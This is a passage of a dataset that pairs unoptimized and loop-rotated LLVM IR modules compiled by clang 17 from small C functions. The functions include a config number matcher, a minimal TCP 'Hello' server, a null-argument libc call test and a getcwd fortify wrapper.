%40 = load ptr, ptr %5, align 8
%41 = load ptr, ptr %6, align 8
%42 = load ptr, ptr %8, align 8
%43 = call i32 @warn(ptr noundef @.str.1, ptr noundef %40, ptr noundef %41, ptr noundef %42)
br label %44
44: ; preds = %39
store i32 0, ptr %4, align 4
br label %45
45: ; preds = %44, %36, %23, %18
%46 = load i32, ptr %4, align 4
ret i32 %46
}
declare ptr @conf_get_str(ptr noundef, ptr noundef) #1
declare i32 @sscanf(ptr noundef, ptr noundef, ptr noundef, ptr noundef, ptr noundef) #1
declare i32 @warn(ptr noundef, ptr noundef, ptr noundef, ptr noundef) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
| ; ModuleID = '<stdin>'
source_filename = "/tmp/tmplwnsz2no.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
@.str = private unnamed_addr constant [9 x i8] c"%d,%d:%d\00", align 1
@.str.1 = private unnamed_addr constant [58 x i8] c"conf_match_num: section %s tag %s: invalid number spec %s\00", align 1
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local i32 @conf_match_num(ptr noundef %0, ptr noundef %1, i32 noundef %2) #0 {
%4 = alloca i32, align 4
%5 = alloca ptr, align 8
%6 = alloca ptr, align 8
%7 = alloca i32, align 4
%8 = alloca ptr, align 8
%9 = alloca i32, align 4
%10 = alloca i32, align 4
%11 = alloca i32, align 4
%12 = alloca i32, align 4
store ptr %0, ptr %5, align 8
store ptr %1, ptr %6, align 8
store i32 %2, ptr %7, align 4
%13 = load ptr, ptr %5, align 8
%14 = load ptr, ptr %6, align 8
%15 = call ptr @conf_get_str(ptr noundef %13, ptr noundef %14)
store ptr %15, ptr %8, align 8
%16 = load ptr, ptr %8, align 8
%17 = icmp ne ptr %16, null
br i1 %17, label %19, label %18
18: ; preds = %3
store i32 0, ptr %4, align 4
br label %45
19: ; preds = %3
%20 = load ptr, ptr %8, align 8
%21 = call i32 @sscanf(ptr noundef %20, ptr noundef @.str, ptr noundef %9, ptr noundef %10, ptr noundef %11)
store i32 %21, ptr %12, align 4
%22 = load i32, ptr %12, align 4
switch i32 %22, label %39 [
i32 1, label %23
i32 3, label %28
]
23: ; preds = %19
%24 = load i32, ptr %7, align 4
%25 = load i32, ptr %9, align 4
%26 = icmp eq i32 %24, %25
%27 = zext i1 %26 to i32
store i32 %27, ptr %4, align 4
br label %45
28: ; preds = %19
%29 = load i32, ptr %10, align 4
%30 = load i32, ptr %7, align 4
%31 = icmp sle i32 %29, %30
br i1 %31, label %32, label %36
32: ; preds = %28
%33 = load i32, ptr %11, align 4
%34 = load i32, ptr %7, align 4
%35 = icmp sge i32 %33, %34
br label %36
36: ; preds = %32, %28
%37 = phi i1 [ false, %28 ], [ %35, %32 ]
%38 = zext i1 %37 to i32
store i32 %38, ptr %4, align 4
br label %45
39: ; preds = %19
%40 = load ptr, ptr %5, align 8
%41 = load ptr, ptr %6, align 8
%42 = load ptr, ptr %8, align 8
%43 = call i32 @warn(ptr noundef @.str.1, ptr noundef %40, ptr noundef %41, ptr noundef %42)
br label %44
44: ; preds = %39
store i32 0, ptr %4, align 4
br label %45
45: ; preds = %44, %36, %23, %18
%46 = load i32, ptr %4, align 4
ret i32 %46
}
declare ptr @conf_get_str(ptr noundef, ptr noundef) #1
declare i32 @sscanf(ptr noundef, ptr noundef, ptr noundef, ptr noundef, ptr noundef) #1
declare i32 @warn(ptr noundef, ptr noundef, ptr noundef, ptr noundef) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
|
; ModuleID = '/tmp/tmpl02b07hh.c'
source_filename = "/tmp/tmpl02b07hh.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
%struct.sockaddr_in = type { i32, %struct.TYPE_2__, i32 }
%struct.TYPE_2__ = type { i32 }
@AF_INET = dso_local global i32 0, align 4
@SOCK_STREAM = dso_local global i32 0, align 4
@IPPROTO_TCP = dso_local global i32 0, align 4
@.str = private unnamed_addr constant [17 x i8] c"socket() failed\0A\00", align 1
@INADDR_ANY = dso_local global i32 0, align 4
@.str.1 = private unnamed_addr constant [14 x i8] c"bind() failed\00", align 1
@.str.2 = private unnamed_addr constant [16 x i8] c"listen() failed\00", align 1
@.str.3 = private unnamed_addr constant [16 x i8] c"accept() failed\00", align 1
@.str.4 = private unnamed_addr constant [6 x i8] c"Hello\00", align 1
@.str.5 = private unnamed_addr constant [14 x i8] c"send() failed\00", align 1
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local i32 @main(i32 noundef %0, ptr noundef %1) #0 {
%3 = alloca i32, align 4
%4 = alloca i32, align 4
%5 = alloca ptr, align 8
%6 = alloca [1024 x i8], align 16
%7 = alloca ptr, align 8
%8 = alloca i32, align 4
%9 = alloca %struct.sockaddr_in, align 4
%10 = alloca i32, align 4
%11 = alloca %struct.sockaddr_in, align 4
%12 = alloca i32, align 4
%13 = alloca i32, align 4
%14 = alloca i64, align 8
store i32 0, ptr %3, align 4
store i32 %0, ptr %4, align 4
store ptr %1, ptr %5, align 8
store ptr null, ptr %7, align 8
%15 = call i64 @malloc(i32 noundef 8)
%16 = inttoptr i64 %15 to ptr
store ptr %16, ptr %7, align 8
%17 = load i32, ptr @AF_INET, align 4
%18 = load i32, ptr @SOCK_STREAM, align 4
%19 = load i32, ptr @IPPROTO_TCP, align 4
%20 = call i32 @socket(i32 noundef %17, i32 noundef %18, i32 noundef %19)
store i32 %20, ptr %8, align 4
%21 = icmp slt i32 %20, 0
br i1 %21, label %22, label %24
22: ; preds = %2
%23 = call i32 @dieWithMessage(ptr noundef @.str)
br label %24
24: ; preds = %22, %2
%25 = call i32 @memset(ptr noundef %9, i32 noundef 0, i32 noundef 12)
%26 = load i32, ptr @AF_INET, align 4
%27 = getelementptr inbounds %struct.sockaddr_in, ptr %9, i32 0, i32 2
store i32 %26, ptr %27, align 4
%28 = load i32, ptr @INADDR_ANY, align 4
%29 = call i32 @htonl(i32 noundef %28)
%30 = getelementptr inbounds %struct.sockaddr_in, ptr %9, i32 0, i32 1
%31 = getelementptr inbounds %struct.TYPE_2__, ptr %30, i32 0, i32 0
store i32 %29, ptr %31, align 4
%32 = call i32 @htons(i32 noundef 12345)
%33 = getelementptr inbounds %struct.sockaddr_in, ptr %9, i32 0, i32 0
store i32 %32, ptr %33, align 4
%34 = load i32, ptr %8, align 4
%35 = call i64 @bind(i32 noundef %34, ptr noundef %9, i32 noundef 12)
%36 = icmp slt i64 %35, 0
br i1 %36, label %37, label %39
37: ; preds = %24
%38 = call i32 @dieWithMessage(ptr noundef @.str.1)
br label %39
39: ; preds = %37, %24
%40 = load i32, ptr %8, align 4
%41 = call i64 @listen(i32 noundef %40, i32 noundef 2)
%42 = icmp slt i64 %41, 0
br i1 %42, label %43, label %45
43: ; preds = %39
%44 = call i32 @dieWithMessage(ptr noundef @.str.2)
br label %45
45: ; preds = %43, %39
store i32 0, ptr %10, align 4
br label %46
46: ; preds = %65, %45
%47 = load i32, ptr %10, align 4
%48 = icmp slt i32 %47, 2
br i1 %48, label %49, label %68
49: ; preds = %46
store i32 12, ptr %12, align 4
%50 = load i32, ptr %8, align 4
%51 = call i32 @accept(i32 noundef %50, ptr noundef %11, ptr noundef %12)
%52 = load ptr, ptr %7, align 8
%53 = load i32, ptr %10, align 4
%54 = sext i32 %53 to i64
%55 = getelementptr inbounds i32, ptr %52, i64 %54
store i32 %51, ptr %55, align 4
%56 = load ptr, ptr %7, align 8
%57 = load i32, ptr %10, align 4
%58 = sext i32 %57 to i64
%59 = getelementptr inbounds i32, ptr %56, i64 %58
%60 = load i32, ptr %59, align 4
%61 = icmp slt i32 %60, 0
br i1 %61, label %62, label %64
62: ; preds = %49
%63 = call i32 @dieWithMessage(ptr noundef @.str.3)
br label %64
64: ; preds = %62, %49
br label %65
65: ; preds = %64
%66 = load i32, ptr %10, align 4
%67 = add nsw i32 %66, 1
store i32 %67, ptr %10, align 4
br label %46, !llvm.loop !6
68: ; preds = %46
store i32 0, ptr %13, align 4
br label %69
69: ; preds = %84, %68
%70 = load i32, ptr %13, align 4
%71 = icmp slt i32 %70, 2
br i1 %71, label %72, label %87
72: ; preds = %69
%73 = load ptr, ptr %7, align 8
%74 = load i32, ptr %13, align 4
%75 = sext i32 %74 to i64
%76 = getelementptr inbounds i32, ptr %73, i64 %75
%77 = load i32, ptr %76, align 4
%78 = call i64 @send(i32 noundef %77, ptr noundef @.str.4, i32 noundef 6, i32 noundef 0)
store i64 %78, ptr %14, align 8
%79 = load i64, ptr %14, align 8
%80 = icmp slt i64 %79, 0
br i1 %80, label %81, label %83
81: ; preds = %72
%82 = call i32 @dieWithMessage(ptr noundef @.str.5)
br label %83
83: ; preds = %81, %72
br label %84
84: ; preds = %83
%85 = load i32, ptr %13, align 4
%86 = add nsw i32 %85, 1
store i32 %86, ptr %13, align 4
br label %69, !llvm.loop !8
87: ; preds = %69
%88 = load ptr, ptr %7, align 8
%89 = call i32 @free(ptr noundef %88)
ret i32 0
}
declare i64 @malloc(i32 noundef) #1
declare i32 @socket(i32 noundef, i32 noundef, i32 noundef) #1
declare i32 @dieWithMessage(ptr noundef) #1
declare i32 @memset(ptr noundef, i32 noundef, i32 noundef) #1
declare i32 @htonl(i32 noundef) #1
declare i32 @htons(i32 noundef) #1
declare i64 @bind(i32 noundef, ptr noundef, i32 noundef) #1
declare i64 @listen(i32 noundef, i32 noundef) #1
declare i32 @accept(i32 noundef, ptr noundef, ptr noundef) #1
declare i64 @send(i32 noundef, ptr noundef, i32 noundef, i32 noundef) #1
declare i32 @free(ptr noundef) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
!6 = distinct !{!6, !7}
!7 = !{!"llvm.loop.mustprogress"}
!8 = distinct !{!8, !7}
| ; ModuleID = '<stdin>'
source_filename = "/tmp/tmpl02b07hh.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
%struct.sockaddr_in = type { i32, %struct.TYPE_2__, i32 }
%struct.TYPE_2__ = type { i32 }
@AF_INET = dso_local global i32 0, align 4
@SOCK_STREAM = dso_local global i32 0, align 4
@IPPROTO_TCP = dso_local global i32 0, align 4
@.str = private unnamed_addr constant [17 x i8] c"socket() failed\0A\00", align 1
@INADDR_ANY = dso_local global i32 0, align 4
@.str.1 = private unnamed_addr constant [14 x i8] c"bind() failed\00", align 1
@.str.2 = private unnamed_addr constant [16 x i8] c"listen() failed\00", align 1
@.str.3 = private unnamed_addr constant [16 x i8] c"accept() failed\00", align 1
@.str.4 = private unnamed_addr constant [6 x i8] c"Hello\00", align 1
@.str.5 = private unnamed_addr constant [14 x i8] c"send() failed\00", align 1
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local i32 @main(i32 noundef %0, ptr noundef %1) #0 {
%3 = alloca i32, align 4
%4 = alloca i32, align 4
%5 = alloca ptr, align 8
%6 = alloca [1024 x i8], align 16
%7 = alloca ptr, align 8
%8 = alloca i32, align 4
%9 = alloca %struct.sockaddr_in, align 4
%10 = alloca i32, align 4
%11 = alloca %struct.sockaddr_in, align 4
%12 = alloca i32, align 4
%13 = alloca i32, align 4
%14 = alloca i64, align 8
store i32 0, ptr %3, align 4
store i32 %0, ptr %4, align 4
store ptr %1, ptr %5, align 8
store ptr null, ptr %7, align 8
%15 = call i64 @malloc(i32 noundef 8)
%16 = inttoptr i64 %15 to ptr
store ptr %16, ptr %7, align 8
%17 = load i32, ptr @AF_INET, align 4
%18 = load i32, ptr @SOCK_STREAM, align 4
%19 = load i32, ptr @IPPROTO_TCP, align 4
%20 = call i32 @socket(i32 noundef %17, i32 noundef %18, i32 noundef %19)
store i32 %20, ptr %8, align 4
%21 = icmp slt i32 %20, 0
br i1 %21, label %22, label %24
22: ; preds = %2
%23 = call i32 @dieWithMessage(ptr noundef @.str)
br label %24
24: ; preds = %22, %2
%25 = call i32 @memset(ptr noundef %9, i32 noundef 0, i32 noundef 12)
%26 = load i32, ptr @AF_INET, align 4
%27 = getelementptr inbounds %struct.sockaddr_in, ptr %9, i32 0, i32 2
store i32 %26, ptr %27, align 4
%28 = load i32, ptr @INADDR_ANY, align 4
%29 = call i32 @htonl(i32 noundef %28)
%30 = getelementptr inbounds %struct.sockaddr_in, ptr %9, i32 0, i32 1
%31 = getelementptr inbounds %struct.TYPE_2__, ptr %30, i32 0, i32 0
store i32 %29, ptr %31, align 4
%32 = call i32 @htons(i32 noundef 12345)
%33 = getelementptr inbounds %struct.sockaddr_in, ptr %9, i32 0, i32 0
store i32 %32, ptr %33, align 4
%34 = load i32, ptr %8, align 4
%35 = call i64 @bind(i32 noundef %34, ptr noundef %9, i32 noundef 12)
%36 = icmp slt i64 %35, 0
br i1 %36, label %37, label %39
37: ; preds = %24
%38 = call i32 @dieWithMessage(ptr noundef @.str.1)
br label %39
39: ; preds = %37, %24
%40 = load i32, ptr %8, align 4
%41 = call i64 @listen(i32 noundef %40, i32 noundef 2)
%42 = icmp slt i64 %41, 0
br i1 %42, label %43, label %45
43: ; preds = %39
%44 = call i32 @dieWithMessage(ptr noundef @.str.2)
br label %45
45: ; preds = %43, %39
store i32 0, ptr %10, align 4
%46 = load i32, ptr %10, align 4
%47 = icmp slt i32 %46, 2
br i1 %47, label %.lr.ph, label %69
.lr.ph: ; preds = %45
br label %48
48: ; preds = %.lr.ph, %64
store i32 12, ptr %12, align 4
%49 = load i32, ptr %8, align 4
%50 = call i32 @accept(i32 noundef %49, ptr noundef %11, ptr noundef %12)
%51 = load ptr, ptr %7, align 8
%52 = load i32, ptr %10, align 4
%53 = sext i32 %52 to i64
%54 = getelementptr inbounds i32, ptr %51, i64 %53
store i32 %50, ptr %54, align 4
%55 = load ptr, ptr %7, align 8
%56 = load i32, ptr %10, align 4
%57 = sext i32 %56 to i64
%58 = getelementptr inbounds i32, ptr %55, i64 %57
%59 = load i32, ptr %58, align 4
%60 = icmp slt i32 %59, 0
br i1 %60, label %61, label %63
61: ; preds = %48
%62 = call i32 @dieWithMessage(ptr noundef @.str.3)
br label %63
63: ; preds = %61, %48
br label %64
64: ; preds = %63
%65 = load i32, ptr %10, align 4
%66 = add nsw i32 %65, 1
store i32 %66, ptr %10, align 4
%67 = load i32, ptr %10, align 4
%68 = icmp slt i32 %67, 2
br i1 %68, label %48, label %._crit_edge, !llvm.loop !6
._crit_edge: ; preds = %64
br label %69
69: ; preds = %._crit_edge, %45
store i32 0, ptr %13, align 4
%70 = load i32, ptr %13, align 4
%71 = icmp slt i32 %70, 2
br i1 %71, label %.lr.ph2, label %89
.lr.ph2: ; preds = %69
br label %72
72: ; preds = %.lr.ph2, %84
%73 = load ptr, ptr %7, align 8
%74 = load i32, ptr %13, align 4
%75 = sext i32 %74 to i64
%76 = getelementptr inbounds i32, ptr %73, i64 %75
%77 = load i32, ptr %76, align 4
%78 = call i64 @send(i32 noundef %77, ptr noundef @.str.4, i32 noundef 6, i32 noundef 0)
store i64 %78, ptr %14, align 8
%79 = load i64, ptr %14, align 8
%80 = icmp slt i64 %79, 0
br i1 %80, label %81, label %83
81: ; preds = %72
%82 = call i32 @dieWithMessage(ptr noundef @.str.5)
br label %83
83: ; preds = %81, %72
br label %84
84: ; preds = %83
%85 = load i32, ptr %13, align 4
%86 = add nsw i32 %85, 1
store i32 %86, ptr %13, align 4
%87 = load i32, ptr %13, align 4
%88 = icmp slt i32 %87, 2
br i1 %88, label %72, label %._crit_edge3, !llvm.loop !8
._crit_edge3: ; preds = %84
br label %89
89: ; preds = %._crit_edge3, %69
%90 = load ptr, ptr %7, align 8
%91 = call i32 @free(ptr noundef %90)
ret i32 0
}
declare i64 @malloc(i32 noundef) #1
declare i32 @socket(i32 noundef, i32 noundef, i32 noundef) #1
declare i32 @dieWithMessage(ptr noundef) #1
declare i32 @memset(ptr noundef, i32 noundef, i32 noundef) #1
declare i32 @htonl(i32 noundef) #1
declare i32 @htons(i32 noundef) #1
declare i64 @bind(i32 noundef, ptr noundef, i32 noundef) #1
declare i64 @listen(i32 noundef, i32 noundef) #1
declare i32 @accept(i32 noundef, ptr noundef, ptr noundef) #1
declare i64 @send(i32 noundef, ptr noundef, i32 noundef, i32 noundef) #1
declare i32 @free(ptr noundef) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
!6 = distinct !{!6, !7}
!7 = !{!"llvm.loop.mustprogress"}
!8 = distinct !{!8, !7}
|
; ModuleID = '/tmp/tmpslq25gbq.c'
source_filename = "/tmp/tmpslq25gbq.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local void @nullPointer(ptr noundef %0, i32 noundef %1) #0 {
%3 = alloca ptr, align 8
%4 = alloca i32, align 4
store ptr %0, ptr %3, align 8
store i32 %1, ptr %4, align 4
%5 = call i32 @isatty(i32 noundef 0)
%6 = load ptr, ptr %3, align 8
%7 = call i32 @mkdir(ptr noundef %6, i32 noundef 0)
%8 = call i32 @getcwd(i32 noundef 0, i32 noundef 0)
%9 = call i32 @readdir(i32 noundef 0)
%10 = call i32 @utime(ptr noundef null, ptr noundef null)
%11 = load i32, ptr %4, align 4
%12 = call i32 @read(i32 noundef %11, ptr noundef null, i32 noundef 42)
%13 = load i32, ptr %4, align 4
%14 = call i32 @read(i32 noundef %13, ptr noundef null, i32 noundef 0)
%15 = load i32, ptr %4, align 4
%16 = call i32 @write(i32 noundef %15, ptr noundef null, i32 noundef 42)
%17 = load i32, ptr %4, align 4
%18 = call i32 @write(i32 noundef %17, ptr noundef null, i32 noundef 0)
ret void
}
declare i32 @isatty(i32 noundef) #1
declare i32 @mkdir(ptr noundef, i32 noundef) #1
declare i32 @getcwd(i32 noundef, i32 noundef) #1
declare i32 @readdir(i32 noundef) #1
declare i32 @utime(ptr noundef, ptr noundef) #1
declare i32 @read(i32 noundef, ptr noundef, i32 noundef) #1
declare i32 @write(i32 noundef, ptr noundef, i32 noundef) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
| ; ModuleID = '<stdin>'
source_filename = "/tmp/tmpslq25gbq.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local void @nullPointer(ptr noundef %0, i32 noundef %1) #0 {
%3 = alloca ptr, align 8
%4 = alloca i32, align 4
store ptr %0, ptr %3, align 8
store i32 %1, ptr %4, align 4
%5 = call i32 @isatty(i32 noundef 0)
%6 = load ptr, ptr %3, align 8
%7 = call i32 @mkdir(ptr noundef %6, i32 noundef 0)
%8 = call i32 @getcwd(i32 noundef 0, i32 noundef 0)
%9 = call i32 @readdir(i32 noundef 0)
%10 = call i32 @utime(ptr noundef null, ptr noundef null)
%11 = load i32, ptr %4, align 4
%12 = call i32 @read(i32 noundef %11, ptr noundef null, i32 noundef 42)
%13 = load i32, ptr %4, align 4
%14 = call i32 @read(i32 noundef %13, ptr noundef null, i32 noundef 0)
%15 = load i32, ptr %4, align 4
%16 = call i32 @write(i32 noundef %15, ptr noundef null, i32 noundef 42)
%17 = load i32, ptr %4, align 4
%18 = call i32 @write(i32 noundef %17, ptr noundef null, i32 noundef 0)
ret void
}
declare i32 @isatty(i32 noundef) #1
declare i32 @mkdir(ptr noundef, i32 noundef) #1
declare i32 @getcwd(i32 noundef, i32 noundef) #1
declare i32 @readdir(i32 noundef) #1
declare i32 @utime(ptr noundef, ptr noundef) #1
declare i32 @read(i32 noundef, ptr noundef, i32 noundef) #1
declare i32 @write(i32 noundef, ptr noundef, i32 noundef) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
|
; ModuleID = '/tmp/tmpj8mj4hef.c'
source_filename = "/tmp/tmpj8mj4hef.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local ptr @__getcwd_chk(ptr noundef %0, i64 noundef %1, i64 noundef %2) #0 {
%4 = alloca ptr, align 8
%5 = alloca i64, align 8
%6 = alloca i64, align 8
store ptr %0, ptr %4, align 8
store i64 %1, ptr %5, align 8
store i64 %2, ptr %6, align 8
%7 = load i64, ptr %5, align 8
%8 = load i64, ptr %6, align 8
%9 = icmp ugt i64 %7, %8
br i1 %9, label %10, label %12
10: ; preds = %3
%11 = call i32 (...) @__chk_fail()
br label %12
12: ; preds = %10, %3
%13 = load ptr, ptr %4, align 8
%14 = load i64, ptr %5, align 8
%15 = call ptr @__getcwd(ptr noundef %13, i64 noundef %14)
ret ptr %15
}
declare i32 @__chk_fail(...) #1
declare ptr @__getcwd(ptr noundef, i64 noundef) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
| ; ModuleID = '<stdin>'
source_filename = "/tmp/tmpj8mj4hef.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local ptr @__getcwd_chk(ptr noundef %0, i64 noundef %1, i64 noundef %2) #0 {
%4 = alloca ptr, align 8
%5 = alloca i64, align 8
%6 = alloca i64, align 8
store ptr %0, ptr %4, align 8
store i64 %1, ptr %5, align 8
store i64 %2, ptr %6, align 8
%7 = load i64, ptr %5, align 8
%8 = load i64, ptr %6, align 8
%9 = icmp ugt i64 %7, %8
br i1 %9, label %10, label %12
10: ; preds = %3
%11 = call i32 (...) @__chk_fail()
br label %12
12: ; preds = %10, %3
%13 = load ptr, ptr %4, align 8
%14 = load i64, ptr %5, align 8
%15 = call ptr @__getcwd(ptr noundef %13, i64 noundef %14)
ret ptr %15
}
declare i32 @__chk_fail(...) #1
declare ptr @__getcwd(ptr noundef, i64 noundef) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
|
; ModuleID = '/tmp/tmp_vxpf2c3.c'
source_filename = "/tmp/tmp_vxpf2c3.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local i32 @mostvalueinv(ptr noundef %0) #0 {
%2 = alloca ptr, align 8
%3 = alloca i32, align 4
%4 = alloca i32, align 4
store ptr %0, ptr %2, align 8
store i32 -1, ptr %3, align 4
store i32 0, ptr %4, align 4
br label %5
5: ; preds = %53, %1
%6 = load i32, ptr %4, align 4
%7 = icmp slt i32 %6, 10
br i1 %7, label %8, label %56
8: ; preds = %5
%9 = load i32, ptr %3, align 4
%10 = icmp slt i32 %9, 0
br i1 %10, label %11, label %29
11: ; preds = %8
%12 = load ptr, ptr %2, align 8
